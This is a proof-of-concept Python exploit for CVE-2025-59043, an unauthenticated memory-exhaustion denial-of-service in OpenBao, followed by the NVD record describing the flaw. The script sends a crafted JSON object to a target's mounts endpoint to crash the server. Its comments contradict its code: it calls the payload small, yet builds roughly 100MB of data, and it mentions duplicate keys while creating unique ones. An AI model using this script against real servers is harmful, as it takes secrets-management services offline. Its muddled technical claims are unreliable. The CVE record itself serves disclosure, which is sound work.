CVE-2025-59043

# CVE-2025-59043 PoC - OpenBao JSON Memory Amplification DoS # This PoC demonstrates how to craft a JSON payload that bypasses # max_request_size but causes significant memory consumption after deserialization. import json import requests TARGET_URL = "https://openbao-target.example.com/v1/sys/mounts" KEY_COUNT = 100000 # Number of duplicate keys to amplify memory usage def craft_bomb_payload(key_count): """ Create a JSON payload that is small in serialized form but consumes significantly more memory when deserialized into a Go map. """ payload = {} # Using a single key with a large string value can also amplify memory # due to Go's string interning and map overhead large_string = "A" * 1024 # 1KB string per entry for i in range(key_count): # Each unique key adds overhead for hash computation and map bucket allocation payload[f"key_{i}_padding_to_make_it_longer_{'x'*50}"] = large_string return payload def exploit(target_url): headers = {"Content-Type": "application/json"} payload = craft_bomb_payload(KEY_COUNT) # Serialize - this will be checked against max_request_size serialized = json.dumps(payload) print(f"[*] Serialized payload size: {len(serialized)} bytes") print(f"[*] Estimated deserialized memory: ~{len(serialized) * 35} bytes") # Send the request - no authentication required response = requests.post(target_url, headers=headers, data=serialized) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") if __name__ == "__main__": exploit(TARGET_URL)

{"cve": {"id": "CVE-2025-59043", "sourceIdentifier": "[email protected]", "published": "2025-10-17T16:15:38.763", "lastModified": "2025-10-24T17:13:10.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBao is an open source identity-based secrets management system. In OpenBao versions prior to 2.4.1, JSON objects after decoding may use significantly more memory than their serialized version. It is possible to craft a JSON payload to maximize the factor between serialized memory usage and deserialized memory usage, similar to a zip bomb, with factors reaching approximately 35. This can be used to circumvent the max_request_size configuration parameter which is intended to protect against denial of service attacks. The request body is parsed into a map very early in the request handling chain before authentication, which means an unauthenticated attacker can send a specifically crafted JSON object and cause an out-of-memory crash. Additionally, for requests with large numbers of strings, the audit subsystem can consume large quantities of CPU. The vulnerability is fixed in version 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.1", "matchCriteriaId": "542C558D-BFC0-4CC6-B683-74E4DFB31A30"}]}]}], "references": [{"url": "https://github.com/openbao/openbao/blob/788536bd3e10818a7b4fb00aac6affc23388e5a9/http/logical.go#L50", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openbao/openbao/commit/d418f238bc99adc72c73109faf574cc2b672880c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openbao/openbao/pull/1756", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/openbao/openbao/security/advisories/GHSA-g46h-2rq9-gw5m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}